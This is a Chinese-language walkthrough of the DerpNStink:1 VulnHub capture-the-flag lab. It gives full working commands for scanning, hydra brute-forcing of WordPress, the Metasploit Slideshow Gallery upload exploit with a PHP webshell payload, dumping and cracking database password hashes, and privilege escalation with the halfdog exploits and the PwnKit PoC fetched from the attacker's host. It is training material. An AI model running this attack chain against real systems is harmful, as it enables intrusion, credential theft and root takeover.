DerpNStink: 1靶场渗透

DerpNStink: 1

来自 < DerpNStink: 1 ~ VulnHub>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.213

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.213

4,首先访问80端口的web服务

查看页面源代码得到第一个flag

view-source:192.168.23.213

5,只是一个静态页面,那么接下来就需要枚举爆破其子目录

dirsearch -u http://192.168.23.213 -x 403,404

http://192.168.23.213/robots.txt

http://192.168.23.213/temporary/

6,网站的后端代码应该是PHP,数据库是mysql

dirsearch -u http://192.168.23.213/php -x 403,404

dirb http://192.168.23.213

/weblog下有东西,网站的CMS采用的是wordpress

使用whatweb扫描的之后正提示我们需要使用指定域名访问网站。浏览器的回显也可以证明

修改/etc/hosts即可

此时能够成功访问

7,然后再去扫描这个网站的子目录

dirsearch -u http://derpnstink.local/weblog/ -x 403,404

然后再使用wpscan进行框架漏洞扫描

wpscan --url http://derpnstink.local/weblog/

1. 任意文件上传漏洞 (CVE-2014-5460)

  • 影响版本: < 1.4.7
  • 风险等级: 🔴 严重
  • 攻击向量: 未授权攻击者可上传恶意文件(如PHP webshell)。
  • 修复建议 :
    • 立即升级至 1.4.7+
    • 禁用插件直至升级完成。
    • 检查wp-content/uploads/slideshow-gallery目录下是否有可疑文件。

2. 跨站脚本(XSS)与文件上传漏洞

  • 影响版本: Tribulant Slideshow Gallery < 1.5.3.4
  • 风险等级: 🔴 严重
  • 攻击向量: 结合XSS和文件上传实现远程代码执行。
  • 修复建议 :
    • 升级至 1.5.3.4+
    • 审核所有用户输入字段(如标题、描述)的输入过滤逻辑。

3. 已认证XSS漏洞

  • 影响版本: <= 1.6.4
  • 风险等级: 🟠 高危
  • 攻击向量: 需低权限用户(如订阅者)触发XSS。
  • 修复建议 :
    • 升级至 1.6.5+
    • 实施严格的Content-Security-Policy头。

4. 多重已认证XSS (CVE-2018-17946)

  • 影响版本: <= 1.6.5
  • 风险等级: 🟠 高危
  • 攻击向量: 管理员界面注入恶意脚本。
  • 修复建议 :
    • 升级至 1.6.6+
    • 对所有输出内容进行HTML编码(如使用esc_html())。

5. XSS与SQL注入漏洞 (CVE-2018-18017~18019)

  • 影响版本: <= 1.6.8
  • 风险等级: 🔴 严重
  • 攻击向量: 通过参数污染实现数据库拖取或提权。
  • 修复建议 :
    • 升级至 1.6.9+
    • 使用WAF拦截恶意SQL语句(如UNION SELECT)。

6. 管理员存储型XSS (CVE-2021-24882)

  • 影响版本: < 1.7.4
  • 风险等级: 🟠 高危
  • 攻击向量: 管理员账户劫持。
  • 修复建议 :
    • 升级至 1.7.4+
    • 限制管理员编辑器的JavaScript执行权限。

7. 未授权敏感信息泄露 (CVE-2024-31353)

  • 影响版本: < 1.8.1
  • 风险等级: 🟠 高危
  • 攻击向量: 暴露数据库凭据或API密钥。
  • 修复建议 :
    • 升级至 1.8.1+
    • 检查.env或wp-config.php是否被公开访问。

8. CSRF导致设置重置 (CVE-2024-31354)

  • 影响版本: < 1.7.9
  • 风险等级: 🟡 中危
  • 攻击向量: 诱骗管理员点击恶意链接。
  • 修复建议 :
    • 升级至 1.7.9+
    • 添加反CSRF令牌至所有表单。

9. 贡献者权限SQL注入 (CVE-2024-31355)

  • 影响版本: < 1.7.9
  • 风险等级: 🔴 严重
  • 攻击向量: 低权限用户执行任意SQL查询。
  • 修复建议 :
    • 升级至 1.7.9+
    • 使用$wpdb->prepare()预处理所有SQL语句。

10. 已认证SQL注入 (CVE-2024-5543)

  • 影响版本: LITE < 1.8.2
  • 风险等级: 🔴 严重
  • 攻击向量: 通过参数注入提取用户数据。
  • 修复建议 :
    • 升级至 1.8.2+
    • 启用数据库审计日志监控异常查询。

11. 管理员存储型XSS (CVE-2024-47376)

  • 影响版本: < 1.8.4
  • 风险等级: 🟠 高危
  • 攻击向量: 劫持管理员会话。
  • 修复建议 :
    • 升级至 1.8.4+
    • 启用浏览器XSS过滤器(如X-XSS-Protection头)。

8,弱口令爆破出网站的登陆密码为admin/admin

hydra -l admin -P /usr/share/wordlists/rockyou.txt -vV derpnstink.local- http-post-form "/weblog/wp-login.php:log=^USER^&pwd=^PASS^:error"

9,登录成功

利用刚才wpscan扫出来Slideshow Gallery存在的漏洞。因为我们知道后台的账户密码,这里使用msf来进行getshell操作

msfconsole

search slideshow

use 4

show options

set rhosts 192.168.23.213

set targeturi /weblog/

set wp_user admin

set wp_password admin

run

最后成功getshell

Metasploit模块分析:exploit/unix/webapp/wp_slideshowgallery_upload

1. 模块功能概述

  • 漏洞类型 : WordPress插件Slideshow Gallery的认证文件上传漏洞(CVE-2014-5460)。
  • 攻击目标: 允许已登录用户上传恶意PHP文件至服务器,执行任意代码。
  • 利用条件 :
    • WordPress安装Slideshow Gallery插件且版本<1.4.7。
    • 攻击者需拥有有效用户凭证(至少作者/贡献者权限)。
  • Payload: 通常为反向Shell或Webshell,用于获取服务器控制权。

2. 漏洞技术原理

  • 漏洞点 : 插件的文件上传功能未对文件类型、内容做严格校验。
    • 错误实现: 仅依赖客户端MIME类型检查(如image/jpeg),未在服务端验证文件内容。
    • 恶意绕过: 将PHP文件伪装成图片(如shell.php.jpg),利用插件解析漏洞触发代码执行。
  • 关键代码路径 :
    // 伪代码示例:插件上传处理逻辑

|--------------------------------------------------------------------------------------------------------------------------------------|
| if (_FILES\['file'\]\['type'\] == 'image/jpeg') { move_uploaded_file(_FILES['file']['tmp_name'], $target_path); // 未校验实际文件内容 } |

3. 模块工作流程

  1. 认证阶段 :
    • 使用提供的用户名密码登录WordPress后台,获取wp-admin的Cookies。
    • 发送POST请求至/wp-login.php,维持会话状态。
  2. 漏洞利用 :
    • 构造multipart/form-data请求,向插件上传接口(如/wp-admin/admin-ajax.php)发送恶意文件。
    • 使用随机文件名绕过黑名单过滤(如rNd0m.php)。
    • 植入Payload(如<?php system($_GET['cmd']); ?>)。
  3. 触发执行 :
    • 访问上传的恶意文件路径(如/wp-content/uploads/slideshow-gallery/rNd0m.php)。
    • 通过GET/POST参数传递命令,实现远程代码执行(RCE)。

4. 模块关键代码解析(简化版)

|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| # Metasploit模块核心代码逻辑 def exploit # 1. 登录WordPress res = send_request_cgi({ 'method' => 'POST', 'uri' => wordpress_url_login, 'vars_post' => { 'log' => datastore['USERNAME'], 'pwd' => datastore['PASSWORD'] } }) # 2. 上传恶意PHP文件 payload_name = "#{rand_text_alpha(5)}.php" post_data = Rex::MIME::Message.new post_data.add_part('upload', nil, nil, 'form-data; name="action"') post_data.add_part(payload.encoded, 'application/x-php', 'binary', "form-data; name=\"file\"; filename=\"#{payload_name}\"") send_request_cgi({ 'method' => 'POST', 'uri' => wordpress_url_admin_ajax, 'cookie' => cookies, 'data' => post_data.to_s, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" }) # 3. 触发Payload send_request_cgi({ 'uri' => "#{upload_path}/#{payload_name}", 'method' => 'GET' }) end |

5. 防御与检测建议

  • 修复措施 :
    • 升级插件至1.4.7+,修复文件类型验证逻辑。
    • 在服务器端使用finfo_file()检测文件真实类型,而非依赖客户端提交的MIME。
  • 安全加固:

|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| // 安全文件上传示例代码 file_info = new finfo(FILEINFO_MIME_TYPE); mime_type = file_info-\>file(_FILES['file']['tmp_name']); if (!in_array($mime_type, ['image/jpeg', 'image/png'])) { die("Invalid file type."); } |

  • 入侵检测 :
    • 监控/wp-content/uploads/slideshow-gallery/目录下的非图片文件。
    • 分析Web日志中异常的admin-ajax.php请求,特别是包含php文件名和cmd参数的活动。

6. 渗透测试中的应用场景

  • 红队演练: 通过钓鱼获取低权限账户后,利用此模块横向渗透至服务器。
  • 漏洞验证: 在授权测试中快速验证未修复的Slideshow Gallery漏洞。
  • 权限提升: 结合其他漏洞(如XSS劫持管理员会话),实现从低权限到RCE的完整攻击链。

10,用python将shell转变为交互式的shell

shell

python -c 'import pty;pty.spawn("/bin/bash")'

11,因为知道网站的CMS是wordpress,那么网站配置文件wp-confog.php一般都会泄露数据库账户密码

cd /var/www/html/weblog

ls

cat wp-config.php

然后进行mysql登录操作

查看数据库 show databases;

使用数据库 use

查看数据库表 show tables;

然后就能在wp-posts数据表下得到flag2

然后在wp_users有两个账号密码

unclestinky:PBW6NTkFvboVVCHU2R9qmNai1WfHSC41

admin:PBgnU3VLAv.RWd3rdrkfVIuQr6mFvpd/

12,然后讲密码写入一个txt,然后在使用john进行拆解爆破

vim user_pass.txt

cat user_pass.txt

john --wordlist=/usr/share/wordlists/rockyou.txt user_pass.txt

爆破成功:

admin/admin

unclestinky/wedgie57

13,信息收集在home目录下发现用户

尝试切换到stinky用户,密码wedgie57

(只能横向移动,无法ssh直接登录)

切换成功,然后得到了第三个flag

14,提权,首先查看ubantu的版本

searchsploit ubuntu Local Privilege Escalation |grep 14

这里就使用41762.txt

15,提权开始,首先下载exp脚本

wget http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c

wget http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c

wget http://www.halfdog.net/Misc/Utils/SuidExec.c

编译组件

gcc -o CreateSetgidBinary CreateSetgidBinary.c

gcc -o UserNamespaceExec UserNamespaceExec.c

gcc -o SuidExec SuidExec.c

内部进程获得伪root权限,映射当前用户UID/GID到命名空间内的0(root)

./UserNamespaceExec -- /bin/bash

权限依然是不够的

mkdir mnt test work

Ubuntu Trusty错误

mount -t overlayfs -o lowerdir=/var,upperdir=test overlayfs mnt

Ubuntu Wily正确

mount -t overlay -o lowerdir=/var,upperdir=test,workdir=work overlayfs mnt

启用SGID并全局可写

mkdir -p test/mail work

chmod 02777 mnt/mail

卸载后权限污染保留在upperdir

umount mnt

允许测试用户写入

setfacl -d -m u:test:rwx test

利用/bin/mount的SUID特性注入ELF代码(suidExecMinimalElf)

./CreateSetgidBinary test/mail/escalate /bin/mount x nonexistent-arg

获得mail组权限

test/mail/escalate ./SuidExec /bin/bash

验证文件属组

touch x

那么只能换一种方式进行提权

16,第二种方式进行提权,去github copy公开的exp

git clone GitHub - arthepsy/CVE-2021-4034: PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit's pkexec (CVE-2021-4034)

然后kali开启一个http服务

wget http://192.168.23.182:8000/cve-2021-4034-poc.c

chmod +x cve-2021-4034-poc.c

gcc -pthread cve-2021-4034-poc.c -o cve-2021-4034-poc -lcrypt

执行文件,成功提权变成root

./cve-2021-4034-poc

相关推荐
Sinokap1 小时前
Let’s Encrypt 宣布推出短期证书与 IP 地址支持,推动 Web 安全迈向新高度
前端·tcp/ip·安全·ocr
siy23331 小时前
[c语言日寄]柔性数组
c语言·开发语言·笔记·学习·算法·柔性数组
屎派克1 小时前
物理安全——问答
安全
白悠离2 小时前
hackmyvm-JO2024
linux·web安全·网络安全
陌言不会python2 小时前
谷粒微服务高级篇学习笔记整理---异步&线程池
笔记·学习·微服务·线程池·异步
啥都想学的又啥都不会的研究生3 小时前
Redis设计与实现-哨兵
数据结构·数据库·redis·笔记·学习·缓存
豆豆3 小时前
day17 学习笔记
笔记·学习·numpy
技术干货贩卖机3 小时前
《汽车理论》第三章作业
笔记·学习·matlab·汽车·大作业·作业
MPCTHU3 小时前
实变函数:集合与子集合一例(20250329)
学习
小王努力学编程3 小时前
【MySQL篇】事务管理,事务的特性及深入理解隔离级别
数据库·c++·学习·mysql